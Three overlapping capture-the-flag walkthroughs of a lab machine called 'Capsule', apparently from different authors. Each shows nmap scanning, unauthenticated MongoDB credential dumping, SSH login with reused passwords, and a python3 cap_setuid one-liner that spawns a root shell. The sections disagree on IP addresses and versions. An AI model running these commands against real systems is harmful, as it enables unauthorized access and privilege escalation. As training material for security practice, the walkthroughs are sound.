1. Reconnaissance

Start with service enumeration:

nmap -sV -p 30524,30527 45.79.219.169
Result:
SSH → 30524 (OpenSSH 9.2p1)
MongoDB → 30527 (MongoDB 7.x, no auth required)

1. MongoDB Access

Connect to MongoDB:
mongo 45.79.219.169:30527

Successful connection confirms unauthenticated MongoDB access.

1. Database Enumeration

List databases:

show dbs

Expected output:
admin
capsule
config
local

Switch to target database:
use capsule

1. Collection Enumeration
   show collections
   Output:
   users

2. Data Extraction (Credential Harvesting)

Dump user data:
db.users.find().pretty()
Extracted Information:

The database contains multiple users including:
admin user (contains application credentials)
dbadmin user (contains SSH credentials)
viewer user (low privilege)

Key finding:
SSH credentials are stored in plaintext inside MongoDB
dbadmin account password is reused for SSH access

1. SSH Access
   Login using extracted credentials:
   ssh dbadmin@45.79.219.169 -p 30524
   Enter password (redacted):
   Password: ********

2. User Flag
   After login:
   whoami
   id
   Locate and read user flag:
   cat ~/user.txt
   User flag retrieved.

3. Privilege Escalation Enumeration
   Check Linux capabilities:
   /usr/sbin/getcap -r / 2>/dev/null

Critical Finding:
/usr/bin/python3 = cap_setuid+ep
This means Python can change UID to root.

1. Root Privilege Escalation

Exploit Python capability:
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

Verify root:
whoami
id

Expected result:
root privileges obtained
10. Root Flag
cat /root/root.txt

Root flag retrieved successfully.

Summary

Key Vulnerabilities
MongoDB exposed without authentication
Plaintext credential storage in database
Credential reuse (DB → SSH)
Dangerous Linux capability misconfiguration (cap_setuid+ep on python3)
Attack Chain

MongoDB access → credential extraction → SSH login → capability abuse → root shell

Walkthrough: Capsule

Challenge Description: A misconfigured MongoDB instance exposes sensitive credentials to unauthenticated users. Enumerate the database, pivot into the target via SSH, and escalate privileges through a dangerous Linux capability misconfiguration.

1. Enumeration

The initial scan reveals an SSH service and a MongoDB instance exposed on a non-standard port.

• Port Scanning:

  nmap -sV -p 30524,30527 45.79.202.95
  

• Initial Results:

  PORT      STATE    SERVICE VERSION
  30524/tcp    open     ssh     OpenSSH 9.2p1 Debian
  30527/tcp open mongod
  

Default MongoDB port is open.

• Connecting to MongoDB:

  mongo --host 45.79.202.95 --port 30527
  

• Successful Connection:
  The database allows unauthenticated access and exposes multiple databases:

  show dbs
  

  Result:

  admin
  capsule
  config
  local
  

2. Foothold (User Flag)

With database access established, sensitive credentials can be extracted from the application collections.

• Selecting the Application Database:

  use capsule
  show collections
  

  Result: users

• Dumping User Records:

  db.users.find().pretty()
  

• Analyzing the Output:
  The collection contains plaintext credentials and operational notes:

  {
      "username" : "dbadmin",
      "role" : "sysadmin",
      "ssh_password" : "M0n...r3!",
      "note" : "SSH password same as DB pass — TODO: rotate before prod"
  }
  

• Initial Access:
  Use the exposed credentials to authenticate via SSH on the alternate port.

  ssh dbadmin@45.79.219.169 -p 30524
  

  Password:

  M0n...r3!
  

• Claiming the User Flag:

  cat user.txt
  

  User Flag: flag{...._...._...}

3. Privilege Escalation (Root Flag)

After obtaining shell access, the system is audited for dangerous capabilities and privilege escalation vectors.

• Enumerating Linux Capabilities:

  /usr/sbin/getcap -r / 2>/dev/null
  

• Critical Finding:

  /usr/bin/python3.11 cap_setuid=ep
  

The Python interpreter has been granted the cap_setuid capability, allowing any user executing the binary to change their effective UID to root.

• Exploitation:
  Abuse the capability to spawn a root shell directly from Python.

  /usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/bash")'
  

• Verifying Root Access:

  whoami
  

  Result: root

• Claiming the Root Flag:

  cat /root/root.txt
  

  Root Flag: flag{...._...._...}

Key Takeaways

1. Disable Unauthenticated MongoDB Access: MongoDB instances should never be exposed without authentication enabled, especially on internet-facing systems.
2. Avoid Credential Reuse: Reusing database passwords for SSH access significantly increases the impact of database compromise.
3. Audit Linux Capabilities Carefully: Assigning dangerous capabilities like cap_setuid to interpreters can directly lead to full system compromise.
4. Run Services with Least Privilege: MongoDB was running as the root user, increasing overall system risk and violating security best practices.

Network Recon

We start our search by checking the network and provided ports with nmap.

nmap -sV -p 30524,30527 45.79.202.95

PORT      STATE SERVICE VERSION
30524/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u9 (protocol 2.0)
30527/tcp open  mongodb MongoDB 3.6 after 3.6.3, or 3.7.3 or later

Enumerating with nmap

Noticing we have a MongoDB server open, we can use nmap to enumerate some information about it.

nmap -p 30527 -sV --script 'mongodb-info,mongodb-databases' 45.79.202.95

This gives us some information, but no database leak, so let's try connecting to the MongoDB server and see if that yields anything.

We have several options for accessing the MongoDB database. We can use MongoDB's mongosh Shell^[1], MongoDB Compass^[2] (MongoDB's GUI tool), or a database management tool of your choice that supports MongoDB. For me, I'm going with TablePlus^[3].

Accessing mongodb://45.79.202.95:30527 with TablePlus clicking Databases gives up a list of 4 databases: admin, capsule, config, and local.

Inside the capsule database, we find a users table with 3 users: two share the same password, and one has a rather important note.

- SSH password same as DB pass — TODO: rotate before prod

admin:********
dbamin:********
viewer:********

With the credentials we found, we can SSH into the machine and get the user.txt flag.

flag{****_***_****_***_**}

Root escalation via ????

Now that we have access to a user, we need to look for a way to escalate to root. We can start our search by using sudo -l.

-bash: sudo: command not found

Since no sudo command was found, we need to explore other avenues of privilege escalation.

I began my search with some basic enumeration, looking for any potential .env files, config files, and SSH keys. Cron jobs and SUID enumeration were also a bust.

Then I looked at tips and tricks and found the suggestion to use getcap -r / 2>/dev/null.

/usr/bin/python3 = cap_setuid+ep

The tips and tricks section explains cap_setuid+ep as e = effective, p = permitted. The binary can call setuid(0) to become root without being SUID.

With that information, we can use Python to spawn a new shell and set the user ID to root.

python3 -c 'import os; os.setuid(0); os.execl("/bin/bash", "bash", "-p")'

Now that we are root, it's time to go and get the /root/root.txt flag.

flag{***_*****_****_******}

Exit the machine and clean up

The challenge is now finished, and you can exit the machine. Type exit to go back to dbadmin, and type exit again to close the SSH connection. And be sure to close your connection to the MongoDB server.

1. https://www.mongodb.com/docs/mongodb-shell/ ↩
2. https://www.mongodb.com/docs/compass/ ↩
3. https://tableplus.com/ ↩